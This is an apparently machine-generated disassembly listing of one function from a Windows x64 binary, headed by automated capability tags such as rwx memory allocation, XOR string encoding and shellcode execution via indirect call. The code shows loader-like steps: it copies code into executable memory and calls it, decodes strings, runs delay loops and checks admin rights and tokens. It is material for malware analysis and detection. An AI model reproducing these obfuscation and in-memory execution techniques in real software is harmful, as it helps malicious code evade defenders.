Function at 0x140233ec0
Capabilities:
Accept command line arguments
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xab00
call fcn.140267620
sub rsp, rax
movaps xmmword [rsp + 0xaaf0], xmm6
movaps xmmword [rsp + 0xaae0], xmm7
movaps xmmword [rsp + 0xaad0], xmm8
movaps xmmword [rsp + 0xaac0], xmm9
movaps xmmword [rsp + 0xaab0], xmm10
movaps xmmword [rsp + 0xaaa0], xmm11
movaps xmmword [rsp + 0xaa90], xmm12
movaps xmmword [rsp + 0xaa80], xmm13
movaps xmmword [rsp + 0xaa70], xmm14
mov rax, qword [0x14028a040]
xor rax, rsp
mov qword [rsp + 0xaa60], rax
xor edi, edi
mov dword [rsp + 0x88], edi
xorps xmm0, xmm0
movups xmmword [rsp + 0xc28], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0x240], rcx
movabs r14, 0xff00ff00ff00ff00
mov qword [rsp + 0xc30], r14
mov qword [rsp + 0xc38], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xc28], rax
mov qword [rcx], rdi
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rsp + 0xc40]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x88], rax
movsd xmm0, qword [0x140278178]
movsd qword [rsp + 0x68], xmm0
movzx ecx, word [0x140278180]
mov word [rsp + 0x70], cx
cmp byte [0x140278181], dil
je 0x14023400b
mov byte [rsp + 0x68], 0x54
xor byte [rsp + 0x69], 0x43
xor byte [rsp + 0x6a], 0x45
xor byte [rsp + 0x6b], 0x47
xor byte [rsp + 0x6c], 0x49
xor byte [rsp + 0x6d], 0x4b
xor byte [rsp + 0x6e], 0x4d
xor byte [rsp + 0x6f], 0x4f
xor byte [rsp + 0x70], 0x51
xor byte [rsp + 0x71], 0x53
lea rdx, [rsp + 0x68]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x1a4], 0x64
xorps xmm0, xmm0
movups xmmword [rsp + 0xbb0], xmm0
lea rax, [rsp + 0xab18]
mov qword [rsp + 0xbb8], r14
mov qword [rsp + 0xbc0], rax
mov r15, qword [rax]
xor r15, r14
mov qword [rsp + 0xbb0], r15
mov qword [rax], rdi
mov ecx, edi
mov rax, qword [0x14028e110]
lea r12, [0x140242e50]
lea rsi, [0x140000000]
test rax, rax
je 0x1402340a7
mov rdx, rdi
cmp rax, r12
je 0x1402340d6
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28e110]
test rax, rax
jne 0x140234091
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x1402340ee
mov r8, rdi
jmp 0x14023418e
mov r8, qword [rsi + rdx*8 + 0x2903f0]
test r8, r8
je 0x1402340a7
mov r13d, 3
jmp 0x1402341af
mov rax, r12
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140234100
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14028e760]
mov qword [rsi + rax*8 + 0x28e110], r12
mov qword [rsi + rax*8 + 0x2903f0], r8
inc rax
mov qword [0x14028e760], rax
lea rdx, [rsp + 0x1a4]
mov rcx, rbx
call r8
nop
xor r15, r14
mov qword [rsp + 0xbb0], r15
lea rax, [rsp + 0xab18]
mov qword [rax], r15
lea rcx, [rsp + 0xc48]
call fcn.140212a10
nop
mov eax, dword [0x140278224]
mov dword [rsp + 0x58], eax
movzx eax, byte [0x140278228]
mov byte [rsp + 0x58], 0x65
xor byte [rsp + 0x59], 0x43
xor byte [rsp + 0x5a], 0x45
xor byte [rsp + 0x5b], 0x47
xor al, 0x49
mov byte [rsp + 0x5c], al
lea rcx, [rsp + 0x58]
mov r15, 0xffffffffffffffff
mov rax, r15
nop dword [rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x140234220
lea rcx, [rsp + 0xc48]
cmp qword [rsp + 0xc60], 0xf
cmova rcx, qword [rsp + 0xc48]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
mov rdx, qword [rsp + 0xc58]
call fcn.140244630
cmp rax, r15
je 0x1402342b2
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x14027475c]
lea rcx, [0x140274760]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rax
lea rdx, [0x14027475c]
lea rcx, [0x140274760]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_freopen]
jmp 0x1402342b8
mov r12d, 1
lea rbx, [0x14020be80]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbd0], xmm0
lea rcx, [rsp + 0xab18]
mov qword [rsp + 0xbd8], r14
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rcx]
xor rax, r14
mov qword [rsp + 0xbb0], rax
mov qword [rsp + 0xbd0], rax
mov qword [rcx], rdi
mov ecx, edi
mov rax, qword [0x14028f3f0]
test rax, rax
je 0x14023433c
mov rdx, rdi
lea r8, [0x1402435a0]
cmp rax, r8
je 0x14023432b
inc ecx
mov edx, ecx
mov rax, qword [rsi + rcx*8 + 0x28f3f0]
test rax, rax
jne 0x140234313
jmp 0x14023433c
mov r8, qword [rsi + rdx*8 + 0x28fd80]
test r8, r8
jne 0x14023442f
mov edx, 0x1f4
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
lea r9, [0x1402435a0]
test rax, rax
jne 0x14023436c
mov r8, rdi
jmp 0x14023440e
mov rax, r9
mov rcx, r8
mov rdx, r13
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140234380
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140290720]
mov qword [rsi + rax*8 + 0x28f3f0], r9
mov qword [rsi + rax*8 + 0x28fd80], r8
inc rax
mov qword [0x140290720], rax
mov rcx, rbx
call r8
nop
mov rcx, qword [rsp + 0xbb0]
xor rcx, r14
mov qword [rsp + 0xbd0], rcx
lea rdx, [rsp + 0xab18]
mov qword [rdx], rcx
test al, al
je 0x140234661
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x2164], 0xffffffff
mov dword [rsp + 0xde4], eax
mov rdx, r12
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0xde4], eax
inc rdx
cmp rdx, 0x270
jb 0x140234480
mov dword [rsp + 0xde0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov rsi, qword [rsp + 0xbb0]
add rsi, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x830]
call fcn.1401f17b0
cmp qword [rax], rsi
jge 0x140234658
mov edi, 0x186a0
nop dword [rax + rax]
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023452b
nop dword [rax + rax]
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234510
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023457b
nop word [rax + rax]
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140234560
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x1402345cb
nop
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x1402345b0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023461b
nop
lea rcx, [rsp + 0xde0]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140234600
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub rdi, 1
jne 0x1402344f0
jmp 0x1402344d0
mov eax, dword [rsp + 0x40]
jmp 0x14023bf43
movzx eax, word [0x1402761b8]
mov word [rsp + 0x78], ax
movzx eax, byte [0x1402761ba]
mov byte [rsp + 0x78], 0x62
xor byte [rsp + 0x79], 0x43
xor al, 0x45
mov byte [rsp + 0x7a], al
lea rdx, [rsp + 0x78]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
movzx eax, word [0x140276c08]
mov word [rsp + 0x7c], ax
movzx eax, byte [0x140276c0a]
mov byte [rsp + 0x7c], 0x62
xor byte [rsp + 0x7d], 0x43
xor al, 0x45
mov byte [rsp + 0x7e], al
lea rdx, [rsp + 0x7c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rsp + 0xa40]
call fcn.140212190
mov rdx, rax
lea rcx, [0x14028d1e8]
call fcn.14023f6a0
lea rcx, [rsp + 0xa40]
call fcn.140240fd0
movzx eax, word [0x1402766cc]
mov word [rsp + 0x80], ax
movzx eax, byte [0x1402766ce]
mov byte [rsp + 0x80], 0x62
xor byte [rsp + 0x81], 0x43
xor al, 0x45
mov byte [rsp + 0x82], al
lea rdx, [rsp + 0x80]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [0x14028d1e8]
lea rcx, [rsp + 0xa60]
call fcn.14023f840
mov rdx, rax
lea rcx, [rsp + 0xa80]
call fcn.140205a30
mov rdx, rax
lea rcx, [rsp + 0xaa0]
call fcn.140205090
mov rdx, rax
lea rbx, [0x14028d450]
mov rcx, rbx
call fcn.14023f6a0
lea rcx, [rsp + 0xaa0]
call fcn.140240fd0
cmp qword [0x14028d468], 0xf
cmova rbx, qword [0x14028d450]
mov r8, qword [0x14028d460]
mov rdx, rbx
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
jmp 0x140234808
movzx eax, word [0x140276388]
mov word [rsp + 0x50], ax
movsd xmm0, qword [str.____2m_0_U]
mov ebx, 1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x14027638a]
movsd qword [rsp + 0x48], xmm0
mov byte [rsp + 0x48], 0x65
xor byte [rsp + 0x49], 0x43
xor byte [rsp + 0x4a], 0x45
xor byte [rsp + 0x4b], 0x47
xor byte [rsp + 0x4c], 0x49
xor byte [rsp + 0x4d], 0x4b
xor byte [rsp + 0x4e], 0x4d
xor byte [rsp + 0x4f], 0x4f
xor byte [rsp + 0x50], 0x51
xor byte [rsp + 0x51], 0x53
xor al, 0x55
mov byte [rsp + 0x52], al
lea rdx, [rsp + 0x48]
call fcn.1402428f0
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0xbe8], xmm0
movups xmmword [rsp + 0xbf8], xmm0
lea rax, vtable.ATL::CAccessToken.0
mov qword [rsp + 0xbe8], rax
movdqu xmmword [rsp + 0xbf0], xmm0
mov qword [rsp + 0xc00], rdi
xor eax, eax
movups xmmword [rsp + 0xc70], xmm0
movups xmmword [rsp + 0xc80], xmm0
movups xmmword [rsp + 0xc90], xmm0
movups xmmword [rsp + 0xca0], xmm0
movups xmmword [rsp + 0xcb0], xmm0
movups xmmword [rsp + 0xcc0], xmm0
movups xmmword [rsp + 0xcd0], xmm0
mov qword [rsp + 0xce0], rax
lea rax, vtable.ATL::CSid.0
mov qword [rsp + 0xc70], rax
mov byte [rsp + 0xcbc], 0
mov dword [rsp + 0xcc0], 7
call fcn.1401f1ce0
mov rcx, rax
test rax, rax
je 0x14023bfe3
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xcc8], rax
call fcn.1401f1ce0
mov rcx, rax
test rax, rax
je 0x14023bfee
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xcd0], rax
call fcn.1401f1ce0
mov rcx, rax
test rax, rax
je 0x14023bff9
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xcd8], rax
call fcn.1401f1ce0
mov rcx, rax
test rax, rax
je 0x14023c004
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0xce0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0xb90]
mov edx, 0x20008
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140234ab5
lea rcx, [rsp + 0xbe8]
mov rax, qword [rsp + 0xbe8]
call qword [rax + 8]
mov rax, qword [rsp + 0xb90]
mov qword [rsp + 0xbf0], rax
lea rdx, [rsp + 0xc70]
lea rcx, [rsp + 0xbe8]
call fcn.1402422b0
test al, al
je 0x140234ab5
lea rcx, [rsp + 0xc70]
call fcn.1401f2050
lea rcx, [rsp + 0xb08]
mov qword [rsp + 0xb00], rcx
mov r8d, r13d
mov rdx, rax
lea rcx, [rsp + 0xb00]
call fcn.140240220
nop
mov rdx, qword [rsp + 0xb00]
xorps xmm0, xmm0
movups xmmword [rsp + 0x5a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5b0], xmm1
mov r8, r15
inc r8
cmp byte [rdx + r8], 0
jne 0x140234a61
lea rcx, [rsp + 0x5a0]
call fcn.1402071a0
lea rdx, [rsp + 0x5a0]
lea rcx, [0x14028d4d8]
call fcn.14023f6a0
lea rcx, [rsp + 0x5a0]
call fcn.140240fd0
nop
lea rax, [rsp + 0xb08]
mov rcx, qword [rsp + 0xb00]
cmp rcx, rax
je 0x140234ab5
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rdx, qword [rsp + 0x88]
mov rdx, qword [rdx + 8]
xorps xmm0, xmm0
movups xmmword [rsp + 0x5c0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x5d0], xmm1
mov r8, r15
nop dword [rax + rax]
inc r8
cmp word [rdx + r8*2], 0
jne 0x140234ae0
lea rcx, [rsp + 0x5c0]
call fcn.140244500
nop
lea rdx, [rsp + 0x5c0]
lea rcx, [rsp + 0xc08]
call fcn.1401f3960
nop
lea rcx, [rsp + 0x5c0]
call fcn.140240ed0
lea rdx, [rsp + 0xc08]
cmp qword [rsp + 0xc20], 0xf
cmova rdx, qword [rsp + 0xc08]
mov r8, qword [rsp + 0xc18]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140249550
lea rdx, [0x140242ad0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0xf0
lea rcx, [rsp + 0xcf0]
call fcn.140267404
lea rax, [rsi + 0x2780e0]
mov qword [rsp + 0xcf0], rax
lea rcx, [rsp + 0xd80]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x88], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0xd00]
lea rcx, [rsp + 0xcf0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0xcf0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + rcx + 0xcf0], rax
mov rax, qword [rsp + 0xcf0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x90]
mov dword [rsp + rcx + 0xcec], edx
lea rax, [rsp + 0xd00]
mov qword [rsp + 0xbb0], rax
lea rcx, [rsp + 0xd00]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
lea rax, vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov qword [rsp + 0xd00], rax
lea rdx, [rsp + 0xc08]
cmp qword [rsp + 0xc20], 0xf
cmova rdx, qword [rsp + 0xc08]
mov r9d, 2
mov r8, qword [rsp + 0xc18]
lea rcx, [rsp + 0xd00]
call fcn.140241bd0
nop
mov r8b, 0x3a
lea rdx, [0x14028d328]
lea rcx, [rsp + 0xcf0]
call fcn.140248f60
mov r8b, 0x3a
lea rdx, [0x14028d548]
lea rcx, [rsp + 0xcf0]
call fcn.140248f60
mov rax, qword [rsp + 0xcf0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0xcf0]
add rcx, rax
mov dl, 0xa
call qword [sym.imp.MSVCP140.dll_public:_char___cdecl_std::basic_ios_char__struct_std::char_traits_char__::widen_char_const___ptr64]
movzx r8d, al
lea rdx, [0x14028d508]
lea rcx, [rsp + 0xcf0]
call fcn.140248f60
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x34f4], 0xffffffff
mov dword [rsp + 0x2174], eax
mov rdx, rbx
nop dword [rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x2174], eax
inc rdx
cmp rdx, 0x270
jb 0x140234cd0
mov dword [rsp + 0x2170], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0xbb0]
call fcn.1401f17b0
mov r14, qword [rsp + 0xbb0]
add r14, 0x5f5e100
nop dword [rax]
lea rcx, [rsp + 0x840]
call fcn.1401f17b0
cmp qword [rax], r14
jge 0x140234eaf
mov qword [rsp + 0xbb0], 0x186a0
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x140234d7b
nop dword [rax]
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x140234d60
shr rax, 0x20
lea r12d, [rax + 0x7fffff9c]
xor r12d, 0x80000000
cmove r12d, ebx
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140234dcb
nop dword [rax]
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140234db0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140234e1b
nop
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140234e00
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x140234e6b
nop
lea rcx, [rsp + 0x2170]
call fcn.1402526b0
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x140234e50
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r12d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv r12d
mov dword [rsp + 0x40], edx
sub qword [rsp + 0xbb0], 1
jne 0x140234d42
jmp 0x140234d20
mov eax, dword [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov r9d, edi
movdqa xmm10, xmmword [0x140279550]
movdqa xmm6, xmmword [0x140279690]
movdqa xmm7, xmmword [0x1402796b0]
movdqa xmm13, xmmword [str.kkkkoooo]
movdqa xmm14, xmmword [0x1402796c0]
movdqa xmm9, xmmword [0x140279680]
movdqa xmm8, xmmword [0x140279660]
test eax, eax
je 0x1402351ca
movups xmm0, xmmword [str.1___qmoadymun]
movups xmmword [rsp + 0x268], xmm0
movups xmm1, xmmword [0x140276b40]
movups xmmword [rsp + 0x278], xmm1
mov eax, dword [0x140276b50]
mov dword [rsp + 0x288], eax
movzx eax, byte [0x140276b54]
mov byte [rsp + 0x28c], al
cmp dword [0x14028a090], 2
jl 0x1402350d9
movdqa xmmword [rsp + 0xbb0], xmm9
lea rcx, [rsp + 0x26c]
mov edx, dword [rsp + 0xbb0]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm10
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
